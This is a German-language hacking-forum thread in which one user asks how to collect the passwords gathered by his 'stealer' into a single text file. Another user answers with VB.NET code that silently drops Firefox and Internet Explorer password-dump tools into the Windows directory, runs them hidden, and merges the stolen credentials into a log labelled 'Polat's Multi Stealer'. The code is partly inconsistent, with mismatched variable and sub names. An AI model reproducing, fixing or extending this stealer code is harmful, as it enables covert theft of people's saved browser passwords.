alles in eine txt datei

[inmate]

so wollte mal fragen ob ich das so machen kann das bei meinem stealer alle pw´s in eine txt datei gelangen


dim stream as new streamwriter


dim ress1() as byte = my.ressource.irgendwas
fileopen(1, environ("windir") & "\irg.exe", openmode.binary)
fileput(1, ress)
fileclose(1)
shell(environ("windir") & "\irg.exe /stext, stream = true " & ("environ("windir") & "\passes.txt")

das true ist dafür da das die dateien nur angehängt werden.
is das richtig oder kann einer den code verbessern ?^^

lG

inmate

[j0n4s]

mhm..
ich machs immer mit textboxen und finde ist ne simple lösung..^^
Füg mal in die Form 2 textboxen ein (Multilinie = true)
dann die size von den 2 textboxen : 503; 528
nun noch zwei ressourcen. (z.b Passwordfox + IE Passview)
ok jetzt 3 subs (StealFF,StealIE,Stealer)
code:
Stealie:

Sub StealIE()
        Dim ressource() As Byte = My.Resources.iepv
        FileOpen(1, Environ("windir") & "\res.exe", OpenMode.Binary)
        FilePut(1, ressource)
        FileClose(1)
        Shell(Environ("windir") & "\res.exe /stext " & Environ("windir") & "\IEPw.txt", AppWinStyle.Hide)
    End Sub

StealFF:

Sub main4()
        Dim ressource() As Byte = My.Resources.PasswordFox
        FileOpen(1, Environ("windir") & "\res.exe", OpenMode.Binary)
        FilePut(1, ressource)
        FileClose(1)
        Shell(Environ("windir") & "\res.exe /stext " & Environ("windir") & "\FFPw.txt", AppWinStyle.Hide)
    End Sub

nun noch Stealer Sub:

Sub Stealer()
Dim leser = New StreamReader(Environ("windir") & "\IEPw.txt")
        Dim leser2 = New StreamReader(Environ("windir") & "\FFPw.txt")
dim writer = new streamwriter (environ("windir") & "\Log.txt")
textbox1.text = leser.readtoend
leser.dispose
leser.close
textbox2.text = leser2.readtoend
leser2.dispose
leser2.close
Schreibe.WriteLine("Polat´s Multi Stealer Beta V0.1 Log - " & Environment.UserName)
        Schreibe.WriteLine("")
        Schreibe.WriteLine("Firefox Passwörter")
        Schreibe.WriteLine("")
        Schreibe.Flush()
        Schreibe.Write(TextBox2.Text)
        Schreibe.Flush()
        Schreibe.WriteLine("")
        Schreibe.Flush()
        Schreibe.WriteLine("IE Passwörter")
        Schreibe.WriteLine("")
        Schreibe.Flush()
        Schreibe.Write(TextBox1.Text)
        Schreibe.Flush()

[inmate]

wow danke dir jonas , stimmt da hätte ich auch drauf kommen können nur ich habe irgendwie so kompilizert gedacht :o

lG

inmate